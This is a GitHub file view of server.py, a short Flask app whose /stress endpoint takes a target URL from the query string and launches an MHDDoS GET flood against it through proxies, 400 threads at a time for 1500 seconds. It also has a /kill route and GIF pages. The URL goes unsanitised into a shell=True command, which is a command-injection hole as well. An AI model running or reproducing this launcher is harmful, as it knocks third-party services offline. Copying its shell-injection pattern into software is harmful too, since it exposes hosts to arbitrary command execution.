-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathserver.py
More file actions
55 lines (34 loc) · 1.23 KB
/
server.py
File metadata and controls
55 lines (34 loc) · 1.23 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from flask import Flask, render_template, request
import subprocess
import re
app = Flask(__name__)
#bot_process = subprocess.Popen(['python3' , 'bot.py'])
def ddos_start(url):
s= 1500
subprocess.call(f'python3 ~/MHDDoS/start.py GET {url} 1 400 mhddos_proxy/list 10000 {s}', stdout=subprocess.PIPE, shell=True)
@app.route("/")
def page_web_de_mort():
# bot_process
return "<html><body><img src='https://i.giphy.com/KmHueA88mFABT9GkkR.gif'></body></html>"
#page_web_de_mort()
@app.route("/kill")
def killswitch():
p = subprocess.Popen(f'refresh', stdout=subprocess.PIPE, shell=True)
output, error = p.communicate()
# bot_process
return "<html><body><img src='https://i.giphy.com/6jTD6KqVNADI746GOC.gif'></body></html>"
#page_web_de_mort()
@app.route(f"/stress")
def ddos():
full_url = str(request.args)
data = full_url.replace("ImmutableMultiDict([('", '')
url = data.replace("', '')])", '')
print(url)
ddos_start(url)
return "<html><body><img src='https://i.giphy.com/6jTD6KqVNADI746GOC.gif'></body></html>"
#page_web_de_mort()
app.run()
"""
if __name__ == "__main__":
app.run()
"""